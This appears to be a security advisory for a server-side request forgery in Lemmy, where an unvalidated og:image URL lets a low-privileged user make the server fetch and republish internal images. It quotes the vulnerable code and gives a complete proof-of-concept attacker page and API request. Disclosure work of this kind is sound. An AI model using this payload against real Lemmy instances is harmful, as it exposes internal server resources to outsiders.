Lemmy has SSRF and internal image disclosure in post link metadata via unvalidated og:image
Lemmy fetches metadata for user-supplied post URLs and, under the default StoreLinkPreviews image mode, downloads the preview image through local pict-rs. While the top-level page URL is checked against internal IP ranges, the extracted og:image URL is not subject to the same restriction.
As a result, an authenticated low-privileged user can submit an attacker-controlled public page whose Open Graph image points to an internal image endpoint. Lemmy will fetch that internal image server-side and store a local thumbnail that can then be served back to users.
The metadata fetch logic applies an internal-address check only to the initial post URL. After HTML parsing, extract_opengraph_data() accepts absolute og:image values and returns them as-is. Later, generate_post_link_metadata() passes that second-hop image URL into generate_pictrs_thumbnail(), which instructs local pict-rs to fetch it through image/download?url=....
This creates a two-stage source-to-sink chain where the first URL is constrained, but the security boundary is bypassed through an unvalidated secondary resource.
Core vulnerable code path:
// crates/api_common/src/request.rs
let metadata = match &post.url {
Some(url) => fetch_link_metadata(url, &context, false).await.unwrap_or_default(),
_ => Default::default(),
};
// crates/api_common/src/request.rs
let og_image = page
.opengraph
.images
.first()
.and_then(|ogo| url.join(&ogo.url).ok());
// crates/api_common/src/request.rs
let thumbnail_url = if let (true, Some(url)) = (allow_generate_thumbnail, image_url.clone()) {
generate_pictrs_thumbnail(&url, &context).await.ok().map(Into::into).or(image_url)
} else {
image_url.clone()
};
// crates/api_common/src/request.rs
let fetch_url = format!(
"{}image/download?url={}&resize={}",
pictrs_config.url,
encode(image_url.as_str()),
context.settings().pictrs_config()?.max_thumbnail_size
);
These snippets show that only the outer page URL is checked, while the extracted og:image value becomes a server-side fetch target without an equivalent internal-address guard.
Prerequisites:
Practical reproduction flow:
http://127.0.0.1:8081/internal.png.url is the attacker-controlled page.og:image, and then fetch the internal image through pict-rs.Complete PoC attacker page:
<html><head>
<meta property="og:image" content="http://127.0.0.1:8081/internal.png">
</head><body>x</body></html>
Complete PoC request:
POST /api/v3/post HTTP/1.1
Host: victim.example
Authorization: Bearer <low-priv-jwt>
Content-Type: application/json
{
"name": "thumb-ssrf",
"community_id": 1,
"url": "https://attacker.example/og.html",
"body": null,
"alt_text": null,
"honeypot": null,
"nsfw": false,
"language_id": null,
"custom_thumbnail": null
}
Outcome:
thumbnail_url, indicating that the internal image was fetched and cached.This issue upgrades an attacker-controlled external page into an internal image fetch primitive. It can be used to retrieve internal image resources, expose content that is otherwise reachable only from the application host, and publish those internal resources through Lemmy's own thumbnail serving path.
Because the vulnerable mode is the documented default behavior for link previews, the issue is relevant even without non-default privacy settings.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 65.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 65.00 |
VPI 공식 vpi-v1 기준